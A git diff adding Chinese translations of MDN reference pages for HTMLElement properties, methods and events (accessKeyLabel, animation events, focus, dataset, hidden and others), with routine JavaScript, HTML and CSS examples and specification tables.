{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}{{Spec2('HTML WHATWG')}}Turn the HTMLDocument interface into a {{domxref("Document")}} extension.
+ + diff --git a/files/zh-cn/web/api/htmlelement/accesskeylabel/index.html b/files/zh-cn/web/api/htmlelement/accesskeylabel/index.html new file mode 100644 index 0000000000..b20eafe1ed --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/accesskeylabel/index.html @@ -0,0 +1,84 @@ +--- +title: accessKeyLabel +slug: Web/API/HTMLElement/accessKeyLabel +translation_of: Web/API/HTMLElement/accessKeyLabel +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement.accessKeyLabel 只读属性返回一个 {{jsxref("String")}} 表示这个元素分配的访问密钥(如果有的话); 否则返回一个空字符串.

+ +

语法

+ +
label = element.accessKeyLabel
+
+ +

示例

+ +

JavaScript

+ +
var node = document.getElementById('btn1');
+if (node.accessKeyLabel) {
+  node.title += ' [' + node.accessKeyLabel + ']';
+} else {
+  node.title += ' [' + node.accessKey + ']';
+}
+
+node.onclick = function () {
+  var p = document.createElement('p');
+  p.textContent = 'Clicked!';
+  node.parentNode.appendChild(p);
+};
+
+ +

HTML

+ +
<button accesskey="h" title="Caption" id="btn1">Hover me</button>
+
+ +

Result

+ +

{{ EmbedLiveSample('Example') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}{{Spec2('HTML WHATWG')}}No change from initial definition.
{{SpecName('HTML5.1')}}{{Spec2('HTML5.1')}}Removed. pull w3c/html#144issue w3c/html#99WICG discussion.
{{SpecName('HTML5 W3C', "editing.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}{{Spec2('HTML5 W3C')}}Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.
+ +

浏览器兼容

+ +
+ + +

{{Compat("api.HTMLElement.accessKeyLabel")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlelement/animationcancel_event/index.html b/files/zh-cn/web/api/htmlelement/animationcancel_event/index.html new file mode 100644 index 0000000000..b20bd99752 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationcancel_event/index.html @@ -0,0 +1,174 @@ +--- +title: 'HTMLElement: animationcancel event' +slug: Web/API/HTMLElement/animationcancel_event +translation_of: Web/API/HTMLElement/animationcancel_event +--- +
{{APIRef}}
+ +
{{SeeCompatTable}}
+ +

一个 animationcancel 事件会在一个 CSS Animation 意外终止时触发. 换句话说, 就是任意时刻 CSS Animation 在没有发送 {{event("animationend")}} 事件时停止运行. 这种情况会在  {{cssxref("animation-name")}} 发生改变导致动画被移除时, 或者使用CSS隐藏了动画中的node节点. 因此要么node节点直接被隐藏,要么因为node节点的父节点被隐藏.

+ +

该事件的处理函数可以通过 {{domxref("GlobalEventHandlers.onanimationcancel", "onanimationcancel")}} 属性进行设置, 或者使用 {{domxref("EventTarget.addEventListener", "addEventListener()")}}.

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("AnimationEvent")}}
Event handler propertyonanimationcancel
+ +

Examples

+ +

这段代码获取一个当前在动画中的元素,并为它添加了一个animationcancel 事件监听. 然后设置该元素的 display 属性为 none, 触发 animationcancel 事件.

+ +
const animated = document.querySelector('.animated');
+
+animated.addEventListener('animationcancel', () => {
+  console.log('Animation canceled');
+});
+
+animated.style.display = 'none';
+ +

同样, 使用 onanimationcancel 属性替换 addEventListener():

+ +
const animated = document.querySelector('.animated');
+animated.onanimationcancel = () => {
+  console.log('Animation canceled');
+};
+
+animated.style.display = 'none';
+ +

Live example

+ +

HTML

+ +
<div class="animation-example">
+    <div class="container">
+        <p class="animation">You chose a cold night to visit our planet.</p>
+    </div>
+    <button class="activate" type="button">Activate animation</button>
+    <div class="event-log"></div>
+</div>
+
+ +

CSS

+ +
.container {
+  height: 3rem;
+}
+
+.event-log {
+  width: 25rem;
+  height: 2rem;
+  border: 1px solid black;
+  margin: 0.2rem;
+  padding: 0.2rem;
+}
+
+.animation.active {
+  animation-duration: 2s;
+  animation-name: slidein;
+  animation-iteration-count: 2;
+}
+
+@keyframes slidein {
+  from {
+    transform: translateX(100%) scaleX(3);
+  }
+  to {
+    transform: translateX(0) scaleX(1);
+  }
+}
+
+ +

JS

+ +
const animation = document.querySelector('p.animation');
+const animationEventLog = document.querySelector('.animation-example>.event-log');
+const applyAnimation = document.querySelector('.animation-example>button.activate');
+let iterationCount = 0;
+
+animation.addEventListener('animationstart', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation started' `;
+});
+
+animation.addEventListener('animationiteration', () => {
+  iterationCount++;
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation iterations: ${iterationCount}' `;
+});
+
+animation.addEventListener('animationend', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation ended'`;
+  animation.classList.remove('active');
+  applyAnimation.textContent = "Activate animation";
+});
+
+animation.addEventListener('animationcancel', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation canceled'`;
+});
+
+applyAnimation.addEventListener('click', () => {
+  animation.classList.toggle('active');
+  animationEventLog.textContent = '';
+  iterationCount = 0;
+  let active = animation.classList.contains('active');
+  if (active) {
+    applyAnimation.textContent = "Cancel animation";
+  } else {
+    applyAnimation.textContent = "Activate animation";
+  }
+});
+
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationcancel")}}{{Spec2("CSS3 Animations")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.animationcancel_event")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlelement/animationiteration_event/index.html b/files/zh-cn/web/api/htmlelement/animationiteration_event/index.html new file mode 100644 index 0000000000..c6358d816b --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationiteration_event/index.html @@ -0,0 +1,179 @@ +--- +title: 'HTMLElement: animationiteration event' +slug: Web/API/HTMLElement/animationiteration_event +tags: + - Animation + - CSS Animations + - animationiteration event +translation_of: Web/API/HTMLElement/animationiteration_event +--- +
{{APIRef}}
+ +

animationiteration 事件将被触发 当CSS 动画的迭代结束且另一个迭代开始时。此事件不会与 {{domxref("HTMLElement/animationend_event", "animationend")}} 事件同时发生t, 因此对于animation-iteration-count次数为1的动画不会发生。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("AnimationEvent")}}
Event handler property{{domxref("GlobalEventHandlers/onanimationiteration","onanimationiteration")}}
+ +

例子

+ +

此代码使用 animationiteration 来跟踪动画已完成的迭代次数:

+ +
const animated = document.querySelector('.animated');
+
+let iterationCount = 0;
+
+animated.addEventListener('animationiteration', () => {
+  iterationCount++;
+  console.log(`Animation iteration count: ${iterationCount}`);
+});
+ +

相同, 但使用 onanimationiteration 事件处理程序属性:

+ +
const animated = document.querySelector('.animated');
+
+let iterationCount = 0;
+
+animated.onanimationiteration = () => {
+  iterationCount++;
+  console.log(`Animation iteration count: ${iterationCount}`);
+};
+ +

鲜活的范例

+ +

HTML

+ +
<div class="animation-example">
+    <div class="container">
+        <p class="animation">You chose a cold night to visit our planet.</p>
+    </div>
+    <button class="activate" type="button">Activate animation</button>
+    <div class="event-log"></div>
+</div>
+
+ +

CSS

+ +
.container {
+  height: 3rem;
+}
+
+.event-log {
+  width: 25rem;
+  height: 2rem;
+  border: 1px solid black;
+  margin: 0.2rem;
+  padding: 0.2rem;
+}
+
+.animation.active {
+  animation-duration: 2s;
+  animation-name: slidein;
+  animation-iteration-count: 2;
+}
+
+@keyframes slidein {
+  from {
+    transform: translateX(100%) scaleX(3);
+  }
+  to {
+    transform: translateX(0) scaleX(1);
+  }
+}
+
+ +

JS

+ +
const animation = document.querySelector('p.animation');
+const animationEventLog = document.querySelector('.animation-example>.event-log');
+const applyAnimation = document.querySelector('.animation-example>button.activate');
+let iterationCount = 0;
+
+animation.addEventListener('animationstart', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation started' `;
+});
+
+animation.addEventListener('animationiteration', () => {
+  iterationCount++;
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation iterations: ${iterationCount}' `;
+});
+
+animation.addEventListener('animationend', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation ended'`;
+  animation.classList.remove('active');
+  applyAnimation.textContent = "Activate animation";
+});
+
+animation.addEventListener('animationcancel', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation canceled'`;
+});
+
+applyAnimation.addEventListener('click', () => {
+  animation.classList.toggle('active');
+  animationEventLog.textContent = '';
+  iterationCount = 0;
+  let active = animation.classList.contains('active');
+  if (active) {
+    applyAnimation.textContent = "Cancel animation";
+  } else {
+    applyAnimation.textContent = "Activate animation";
+  }
+});
+
+ +

结果

+ + + +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationiteration")}}{{Spec2("CSS3 Animations")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.animationiteration_event")}}

+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/htmlelement/beforeinput_event/index.html b/files/zh-cn/web/api/htmlelement/beforeinput_event/index.html new file mode 100644 index 0000000000..fa11a7588c --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/beforeinput_event/index.html @@ -0,0 +1,101 @@ +--- +title: 'HTMLElement: beforeinput event' +slug: Web/API/HTMLElement/beforeinput_event +tags: + - Event + - InputEvent + - beforeinput + - 事件 + - 参考 + - 实验性 +translation_of: Web/API/HTMLElement/beforeinput_event +--- +
{{APIRef}} {{SeeCompatTable}}
+ +

DOM 事件 beforeinput 在{{HTMLElement("input")}}, {{HTMLElement("select")}} 或 {{HTMLElement("textarea")}} 的值即将被修改前触发。这个事件也可以在 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 被设置为 true 的元素和打开 {{domxref("Document.designMode", "designMode")}} 后的任何元素上被触发。

+ +

In the case of contenteditable and designMode,  the event target is the editing host. If these properties apply to multiple elements, the editing host is the nearest ancestor element whose parent isn't editable.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{DOMxRef("InputEvent")}}
Event handler propertyNone
Sync / AsyncSync
ComposedYes
Default ActionUpdate the DOM element
+ +

示例

+ +

这个例子会在 {{HtmlElement("input")}} 元素的值即将被新的值更新前记录下当前的值。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="values"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('beforeinput', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('UI Events', "#event-type-beforeinput", "beforeinput event")}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.beforeinput_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/blur/index.html b/files/zh-cn/web/api/htmlelement/blur/index.html new file mode 100644 index 0000000000..96452abcc0 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/blur/index.html @@ -0,0 +1,24 @@ +--- +title: HTMLElement.blur() +slug: Web/API/HTMLElement/blur +tags: + - API + - HTML DOM + - HTMLElement + - Method + - Reference +translation_of: Web/API/HTMLOrForeignElement/blur +--- +

{{ APIRef() }}

+

概述

+

blur方法用来移除当前元素所获得的键盘焦点.

+

语法

+
element.blur()
+
+

规范

+

blur

+

相关链接

+ +

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/click/index.html b/files/zh-cn/web/api/htmlelement/click/index.html new file mode 100644 index 0000000000..3508c013d3 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/click/index.html @@ -0,0 +1,44 @@ +--- +title: HTMLElement.click +slug: Web/API/HTMLElement/click +tags: + - API + - HTML DOM + - HTMLElement +translation_of: Web/API/HTMLElement/click +--- +
{{ APIRef("HTML DOM") }}
+ +

click 方法可以用来模拟鼠标左键单击一个元素。

+ +

当在支持click方法的元素上使用该方法时(比如{{ HTMLElement("input") }}元素),会触发该元素的 click 事件。该事件会一直向文档树的上层元素冒泡,也会触发它们各自的click事件。但是,冒泡而来的事件会让一个 {{HTMLElement("a")}} 元素像受到真实的鼠标点击一样执行页面的跳转。

+ +

语法

+ +
element.click()
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}{{Spec2('DOM2 HTML')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.click")}}

diff --git a/files/zh-cn/web/api/htmlelement/contenteditable/index.html b/files/zh-cn/web/api/htmlelement/contenteditable/index.html new file mode 100644 index 0000000000..d7e96660e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/contenteditable/index.html @@ -0,0 +1,62 @@ +--- +title: HTMLElement.contentEditable +slug: Web/API/HTMLElement/contentEditable +translation_of: Web/API/HTMLElement/contentEditable +--- +
+
+
{{ APIRef("HTML DOM") }}
+
+
+ +

概述

+ +

HTMLElement.contentEditable 属性用于表明元素是否是可编辑的。该枚举属性(enumerated attribute)可以具有下面的几种值之一:

+ + + +

语法

+ +
editable = element.contentEditable
+element.contentEditable = "true"
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}{{Spec2('HTML WHATWG')}} 
+  
+ +

浏览器兼容性

+ +
+

{{Compat("api.HTMLElement.contentEditable")}}

+ +

在 IE 浏览器中,contenteditable 不能直接用在 {{htmlelement("table")}}、 {{htmlelement("col")}}、 {{htmlelement("colgroup")}}、 {{htmlelement("tbody")}}、 {{htmlelement("td")}}、 {{htmlelement("tfoot")}}、 {{htmlelement("th")}}、 {{htmlelement("thead")}} 和 {{htmlelement("tr")}} 标签上。一个可编辑的 {{htmlelement("span")}} 或者 {{htmlelement("div")}} 标签可以放在表格单元格内部。

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/contextmenu/index.html b/files/zh-cn/web/api/htmlelement/contextmenu/index.html new file mode 100644 index 0000000000..b0ee9e9d48 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/contextmenu/index.html @@ -0,0 +1,35 @@ +--- +title: HTMLElement.contextMenu +slug: Web/API/HTMLElement/contextMenu +tags: + - API +translation_of: Web/API/HTMLElement/contextMenu +--- +
{{APIRef("HTML DOM")}}{{deprecated_header()}}
+ +

HTMLElement.contextMenu 特性指的是某一元素用{{htmlattrxref("contextmenu")}} 特性所创建的右键快捷菜单。该菜单本身源于 {{HTMLElement("menu")}} 元素所构建。

+ +

语法

+ +
var elementContextMenu = element.contextMenu;
+
+ +

例子

+ +
var contextMenu = document.getElementById("element").contextMenu;
+
+// 修改条目1的标签
+contextMenu.firstElementChild.label = "New label";
+
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLElement.contextMenu")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/dataset/index.html b/files/zh-cn/web/api/htmlelement/dataset/index.html new file mode 100644 index 0000000000..63ab5f48e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/dataset/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - HTMLElement.dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +

{{ APIRef }}

+ +

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

+ +

它是一个DOMString的映射,每个自定义数据属性的一个条目。

+ +

请注意,dataset 属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。

+ +

还要注意,一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称,但它们总是相似的:

+ + + +

 

+ +

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

+ +

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:

+ + + +

与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:

+ + + +

上面规则的约束是为了保证这两种转换是正好相反的转换。

+ +

例如,属性名称 data-abc-def 与键值 abcDef 相对应。

+ +

语法

+ +
string = element.dataset.camelCasedName;
+element.dataset.camelCasedName = string;
+ +

实例

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
+</div>
+
+var el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
+
+ +

 

diff --git a/files/zh-cn/web/api/htmlelement/dir/index.html b/files/zh-cn/web/api/htmlelement/dir/index.html new file mode 100644 index 0000000000..5af4c1d9f6 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/dir/index.html @@ -0,0 +1,50 @@ +--- +title: HTMLElement.dir +slug: Web/API/HTMLElement/dir +tags: + - Gecko DOM Reference +translation_of: Web/API/HTMLElement/dir +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

概述

+ +

dir属性用于获取或设置当前元素的元素内容的文本书写方向.

+ +

语法

+ +
var CurrentWritingDirection = elementNodeReference.dir;
+elementNodeReference.dir = NewWritingDirection;
+
+ +

CurrentWritingDirection是一个字符串,表示当前元素的元素内容的文本书写方向. NewWritingDirection是一个变量,表示当前元素新的文本书写方向.

+ +

dir 的值可以是ltr, 表示从左到右, 和rtl, 表示从右到左.

+ +

例子

+ +
var parg = document.getElementById("para1");
+parg.dir = "rtl";
+// 改变一个元素的元素内容的文本书写方向.
+ +

备注

+ +

元素的文本书写方向是指文本的排列顺序(目的是为了支持其他不同语言的系统). 阿拉伯语和希伯来语是典型的使用 rtl 排列顺序的语言.

+ +

一个图像文件也可以将dir属性设置为"rtl",这样的话,它的title和alt属性文字会按"rtl"顺序来显示.

+ +

当表格的dir属性设置为"rtl"时, 那么该表格的所有列将从右到左排列.

+ +
+

{{ gecko_callout_heading("7.0") }}

+ +

在Gecko 7.0 {{ geckoRelease("7.0") }}之前, 该属性的返回值不一定都是小写的.从 Gecko 7.0开始, 该属性的返回值全部为小写字母, 这也是规范中所规定的.

+
+ +

规范

+ +

W3C DOM Level 2 HTML: dir

+ +

{{ languages( { "ja": "ja/DOM/element.dir", "fr": "fr/DOM/element.dir", "pl": "pl/DOM/element.dir", "en": "en/DOM/element.dir" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/focus/index.html b/files/zh-cn/web/api/htmlelement/focus/index.html new file mode 100644 index 0000000000..eb47aff613 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/focus/index.html @@ -0,0 +1,158 @@ +--- +title: HTMLElement.focus() +slug: Web/API/HTMLElement/focus +tags: + - API + - 参考 + - 方法 + - 焦点 +translation_of: Web/API/HTMLOrForeignElement/focus +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.focus() 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。

+ +

语法

+ +
element.focus(options); // Object parameter
+ +

参数

+ +
+
options {{optional_inline}}
+
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
+
+
+
preventScroll {{optional_inline}}
+
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
+
+
+
+ +

示例

+ +

将焦点设置到文本框上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}
+ +

HTML

+ +
<input type="text" id="myTextField" value="Text field.">
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button>
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_text_field') }}

+ +

将焦点设置到按钮上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}
+ +

HTML

+ +
<button type="button" id="myButton">Click Me!</button>
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button>
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_button') }}

+ +

Focus with focusOption

+ +

JavaScript

+ +
focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+
+
+ +

HTML

+ +
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
+<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
+
+<div id="container" style="height: 1000px; width: 1000px;">
+<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
+</div>
+
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_prevent_scroll') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
+ +

备注

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.focus")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/forcespellcheck/index.html b/files/zh-cn/web/api/htmlelement/forcespellcheck/index.html new file mode 100644 index 0000000000..779c6095a6 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/forcespellcheck/index.html @@ -0,0 +1,92 @@ +--- +title: HTMLElement.forceSpellCheck() +slug: Web/API/HTMLElement/forceSpellCheck +translation_of: Web/API/HTMLElement/forceSpellCheck +--- +

{{ APIRef("HTML DOM") }}{{SeeCompatTable}}

+ +

强制对HTML元素进行拼写和语法检查,即使用户没有关注元素。此方法将覆盖浏览器的行为。检查的界面,例如是否出现红色下划线,由浏览器确定。

+ +

Syntax

+ +
element.forceSpellCheck()
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck()')}}{{Spec2('HTML WHATWG')}}Initial definition
{{SpecName('HTML5.1', 'editing.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck')}}{{Spec2('HTML5.1')}}First W3C snapshot of {{SpecName('HTML WHATWG')}} with the method defined in it.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See Also

+ + diff --git a/files/zh-cn/web/api/htmlelement/hidden/index.html b/files/zh-cn/web/api/htmlelement/hidden/index.html new file mode 100644 index 0000000000..5fd6033dc5 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/hidden/index.html @@ -0,0 +1,196 @@ +--- +title: HTMLElement.hidden +slug: Web/API/HTMLElement/hidden +translation_of: Web/API/HTMLElement/hidden +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

{{domxref("HTMLElement")}}元素属性 hidden 是一个 {{jsxref("Boolean")}}类型,如果想要隐藏文档,值设置为 true,否则值设置为false.  这是完全不同于使用 CSS 属性 {{cssxref("display")}}  来控制一个元素的可见性 。  hidden 属性应用于所有的展现模式,并且不应该用来隐藏用户直接访问的内容。

+ +

适用于使用 hidden 的情况:

+ + + +

不适合使用的情况:

+ + + +
+

Elements that are not hidden must not link to elements which are.

+
+ +

语法

+ +
isHidden = HTMLElement.hidden;
+
+
+HTMLElement.hidden = true | false;
+ +

Value

+ +

A Boolean which is true if the element is hidden from view; otherwise, the value is false.

+ +

示例

+ +

Here's an example where a hidden block is used to contain a thank you message that is displayed after a user agrees to an unusual request.

+ +

JavaScript

+ +
document.getElementById("okButton")
+        .addEventListener("click", function() {
+  document.getElementById("welcome").hidden = true;
+  document.getElementById("awesome").hidden = false;
+}, false);
+ +

This code sets up a handler for the welcome panel's "OK" button that hides the welcome panel and makes the follow-up panel—with the curious name "awesome"—visible in its place.

+ +

HTML

+ +

The HTML for the two boxes are shown here.

+ +

The welcome panel

+ +
<div id="welcome" class="panel">
+  <h1>Welcome to Foobar.com!</h1>
+  <p>By clicking "OK" you agree to be awesome every day!</p>
+  <button class="button" id="okButton">OK</button>
+</div>
+ +

This HTML creates a panel (in a {{HTMLElement("div")}} block) that welcomes the user to a site and tells them what they're agreeing to by clicking the OK button.

+ +

The follow-up panel

+ +

Once the user clicks the "OK" button in the welcome panel, the JavaScript code swaps the two panels by changing their respective values for hidden. The follow-up panel looks like this in HTML:

+ +
<div id="awesome" class="panel" hidden>
+  <h1>Thanks!</h1>
+  <p>Thank you <strong>so</strong> much for agreeing to be
+  awesome today! Now get out there and do awesome things
+  awesomely to make the world more awesome!</p>
+</div>
+ +

CSS

+ +

The content is styled using the CSS below.

+ +
.panel {
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border: 1px solid #22d;
+  padding: 12px;
+  width: 500px;
+  text-align: center;
+}
+
+.button {
+  font: 22px "Open Sans", Helvetica, Arial, sans-serif;
+  padding: 5px 36px;
+}
+
+h1 {
+  margin-top: 0;
+  font-size: 175%;
+}
+ +

Result

+ +

{{ EmbedLiveSample('Example', 560, 200) }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#dom-hidden", "HTMLElement.hidden")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/index.html b/files/zh-cn/web/api/htmlelement/index.html new file mode 100644 index 0000000000..3566048a05 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/index.html @@ -0,0 +1,502 @@ +--- +title: HTMLElement +slug: Web/API/HTMLElement +translation_of: Web/API/HTMLElement +--- +
{{APIRef}}
+ +

HTMLElement 接口表示所有的 HTML 元素。一些HTML元素直接实现了HTMLElement接口,其它的间接实现HTMLElement接口.

+ +

属性

+ +

继承自父接口{{domxref("Element")}}和 {{domxref("GlobalEventHandlers")}}的属性  

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性名称属性类型Description
{{domxref("HTMLElement.accessKey")}}{{domxref("DOMString")}}获取/设置元素访问的快捷键
{{domxref("HTMLElement.accessKeyLabel")}}{{domxref("DOMString")}}返回一个包含元素访问的快捷键的字符串(只读)
{{domxref("HTMLElement.contentEditable")}}{{domxref("DOMString")}}获取/设置元素的可编辑状态
